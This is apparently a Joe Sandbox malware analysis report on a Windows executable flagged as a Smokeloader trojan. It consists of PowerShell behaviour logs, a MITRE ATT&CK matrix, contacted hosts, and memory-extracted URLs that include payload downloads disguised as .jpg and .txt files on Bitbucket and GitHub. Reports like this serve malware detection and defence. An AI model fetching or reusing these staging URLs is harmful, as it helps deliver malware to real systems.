Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E88964 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

4_2_00007FF7E6E88964

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E82C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

4_2_00007FF7E6E82C54

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	12 Native API	111 Scripting	1 DLL Side-Loading	1 Software Packing	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Access Token Manipulation	1 Timestomp	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	1 DLL Side-Loading	Security Account Manager	16 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 Registry Run Keys / Startup Folder	1 Masquerading	NTDS	1 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GdGXG0bnxH.exe	39%	ReversingLabs	Win64.Trojan.Smokeloader

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	16.182.39.201	true	false	high
bitbucket.org	185.166.143.50	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611	false	high
https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg	false	high
https://bitbucket.org/eqweqwt/wqeqwfs/downloads/agchIkI.txt	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbuseruploads.s3.amazonaws.com	powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 0000000B.00000002.1497423977.000002498E5F9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://bitbucket.org	powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp	false	high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 0000000B.00000002.1497423977.000002498E5F9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://dz8aopenkvv6s.cloudfront.net	powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbuseruploads.s3.amazonaws.com/84b86a50-0f03-4f00-a68a-9b48f6a9ad1a/downloads/0d99d38f-9760-	powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com	powershell.exe, 0000000B.00000002.1497423977.0000024987308000.00000004.00000800.00020000.00000000.sdmp	false	high
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ion=v4.5	powershell.exe, 0000000B.00000002.1497143877.0000024986D3E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.cookielaw.org/	powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;	powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aui-cdn.atlassian.com/	powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	powershell.exe, 0000000B.00000002.1497423977.0000024987323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987300000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498E382000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987304000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000009.00000002.1829289643.00000179CF97C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1829289643.00000179CF911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024986F01000.00000004.00000800.00020000.00000000.sdmp	false	high
http://s3-w.us-east-1.amazonaws.com	powershell.exe, 0000000B.00000002.1497423977.000002498E390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000009.00000002.1829289643.00000179CF911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024986F01000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bitbucket.org	powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.0000024987129000.00000004.00000800.00020000.00000000.sdmp	false	high
http://bbuseruploads.s3.amazonaws.com	powershell.exe, 0000000B.00000002.1497423977.000002498E390000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.199.109.133	raw.githubusercontent.com	Netherlands		54113	FASTLYUS	false
185.166.143.50	bitbucket.org	Germany		16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576152
Start date and time:	2024-12-16 15:35:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GdGXG0bnxH.exe renamed because original name is a hash value
Original Sample Name:	8970eef61ba5b0d180b01242796bad53.exe
Detection:	MAL
Classification:	mal100.spre.expl.evad.winEXE@12/9@4/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 28 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7412 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: GdGXG0bnxH.exe

Simulations

Behavior and APIs

Time	Type	Description
09:36:11	API Interceptor	87x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
